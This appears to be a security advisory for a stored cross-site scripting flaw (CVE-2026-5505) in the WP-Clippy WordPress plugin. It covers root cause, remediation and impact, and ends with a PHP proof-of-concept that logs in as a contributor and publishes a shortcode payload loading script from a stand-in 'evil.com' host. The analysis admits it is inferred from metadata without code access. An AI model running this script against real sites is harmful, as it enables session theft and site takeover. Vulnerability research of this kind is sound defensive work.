Atomic Edge analysis of CVE-2026-5505 (metadata-based):
This vulnerability is a Stored Cross-Site Scripting (XSS) issue in the WP-Clippy plugin for WordPress, affecting all versions up to and including 1.0.0. It allows authenticated users with Contributor-level access or higher to inject arbitrary web scripts via the `clippy` shortcode attributes. The CVSS score of 6.4 reflects low complexity, network access, and a scope change to impact other users.
Root cause: The CWE-79 classification and description indicate the plugin fails to sanitize user-supplied attributes in the `clippy` shortcode and does not escape output when rendering the shortcode on pages. This is a classic WordPress shortcode XSS pattern: the plugin likely registers a shortcode like `[clippy attribute=”value”]` and directly echoes or returns `$atts[‘attribute’]` without calling `sanitize_text_field()` on input or `esc_html()` / `esc_attr()` on output. Atomic Edge analysis infers this from the description and CWE type; without code access, the exact line cannot be confirmed.
Exploitation: An attacker with Contributor-level access (or higher) can create or edit a post/page and insert the vulnerable shortcode with a malicious `src` or `text` attribute. For example: `[clippy src=”http://evil.com/xss.js” onload=”alert(1)”]` or `[clippy text=”alert(1)”].` When any user, including administrators, visits the page, the injected script executes in their browser session. The attack uses the WordPress post editor and does not require direct AJAX or REST endpoints, making it straightforward to execute.
Remediation: The patch must sanitize all user-supplied shortcode attributes with `sanitize_text_field()` or `wp_kses()` and escape output with `esc_html()` or `wp_kses_post()` before rendering. Specifically, the plugin should validate that attributes like `src` match an allowed URL pattern and ensure that any raw output (e.g., text, HTML) is properly escaped. Since no patched version is available, users should deactivate the plugin until an update is released.
Impact: Successful exploitation allows attackers to inject arbitrary JavaScript into WordPress pages. This can lead to theft of admin session cookies, defacement, phishing attacks, or privilege escalation by creating new admin users. The scope change in the CVSS vector indicates the injected script can affect other users, making this a high-impact vulnerability for sites with multiple users.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5505 - WP-Clippy <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
// Configuration: Change these values
$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor'; // Valid Contributor or higher
$password = 'password';
// Step 1: Login to get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);
// Step 2: Get nonce and post ID (create a new post if needed)
$nonce_pattern = '/"_wpnonce":"([^"]+)"/';
$admin_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$admin_page = curl_exec($ch);
curl_close($ch);
preg_match($nonce_pattern, $admin_page, $matches);
if (!isset($matches[1])) {
die('Failed to extract nonce.');
}
$nonce = $matches[1];
// Step 3: Inject malicious shortcode in post content
$payload = '[clippy src="http://evil.com/xss.js" onload="alert(1)"]'; // XSS payload
$post_data = array(
'_wpnonce' => $nonce,
'post_title' => 'Exploit test',
'content' => $payload,
'post_status' => 'publish'
);
$post_url = $target_url . '/wp-admin/post.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_REFERER, $admin_url);
$response = curl_exec($ch);
curl_close($ch);
echo "Exploit payload inserted. Visit site to trigger XSS.n";
echo "Payload: $payloadn";
?>